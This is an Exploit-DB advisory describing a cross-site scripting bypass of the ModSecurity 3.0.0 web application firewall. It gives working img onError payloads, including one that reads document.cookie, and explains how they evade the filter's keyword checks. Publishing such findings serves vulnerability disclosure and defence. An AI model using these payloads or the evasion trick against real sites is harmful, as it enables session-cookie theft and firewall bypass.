ModSecurity 3.0.0 - Cross-Site Scripting

EDB-ID: 44970
Author: Adipta Basu
Published: 2018-07-03
Type: Webapps
Platform: Linux
Vulnerable App: N/A

 # Date: 2018-07-02 
# Vendor Homepage:
# Software: ModSecurity
# Category: Web Application Firewall
# Exploit Author: Adipta Basu
# Tested on: Mac OS High Sierra
# CVE: N/A
# Description: ModSecurity 3.0.0 has XSS via an onError attribute of an IMG element

# Details:
# After doing source code analysis, I found that if <img src=x onError=prompt(111)>
# is passed as a parameter, a pop-up is obtained. This is because the filter flags
# terms like "script","alert",etc. Moreover it also flags if there is a string placed
# inside the first bracket. That is why I had to use 111. However document.cookie when
# passed works fine.
Reproduction Steps:
   - Use <img src=x onError=prompt(3)> or <img src=x onError=prompt(document.cookie)>

Related Posts